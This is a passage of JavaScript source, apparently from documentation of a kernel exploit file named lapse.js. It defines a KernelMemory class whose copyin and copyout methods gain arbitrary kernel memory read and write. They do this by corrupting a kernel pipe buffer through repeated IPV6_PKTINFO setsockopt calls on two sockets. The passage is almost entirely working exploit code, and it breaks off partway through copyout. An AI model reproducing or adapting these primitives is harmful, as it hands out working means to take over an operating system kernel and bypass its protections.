Class KernelMemory

g2all/700/lapse.js:1386–1497

  // we corrupt that instead for arbitrary read/write. pipe.pipe_map will be
  // clobbered with zeros but that's okay
  class KernelMemory {
    constructor(main_sd, worker_sd, pipes, pipe_addr) {
      this.main_sd = main_sd;
      this.worker_sd = worker_sd;
      this.rpipe = pipes[0];
      this.wpipe = pipes[1];
      this.pipe_addr = pipe_addr; // &pipe.pipe_buf
      this.pipe_addr2 = pipe_addr.add(0x10); // &pipe.pipe_buf.buffer
      this.rw_buf = new Buffer(0x14);
      this.addr_buf = new Buffer(0x14);
      this.data_buf = new Buffer(0x14);
      this.data_buf.write32(0xc, 0x40000000);
    }

    _verify_len(len) {
      if (!(Number.isInteger(len) && 0 <= len <= 0xffffffff)) {
        throw TypeError("len not a 32-bit unsigned integer");
      }
    }

    copyin(src, dst, len) {
      this._verify_len(len);
      const main = this.main_sd;
      const worker = this.worker_sd;
      const addr_buf = this.addr_buf;
      const data_buf = this.data_buf;

      addr_buf.write64(0, this.pipe_addr);
      ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);

      data_buf.write64(0, 0);
      ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, data_buf);

      addr_buf.write64(0, this.pipe_addr2);
      ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);

      addr_buf.write64(0, dst);
      ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);

      sysi("write", this.wpipe, src, len);
    }

    copyout(src, dst, len) {
      this._verify_len(len);
      const main = this.main_sd;
      const worker = this.worker_sd;
      const addr_buf = this.addr_buf;
      const data_buf = this.data_buf;

      addr_buf.write64(0, this.pipe_addr);
      ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);

      data_buf.write32(0, 0x40000000);
      ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, data_buf);

      addr_buf.write64(0, this.pipe_addr2);
      ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);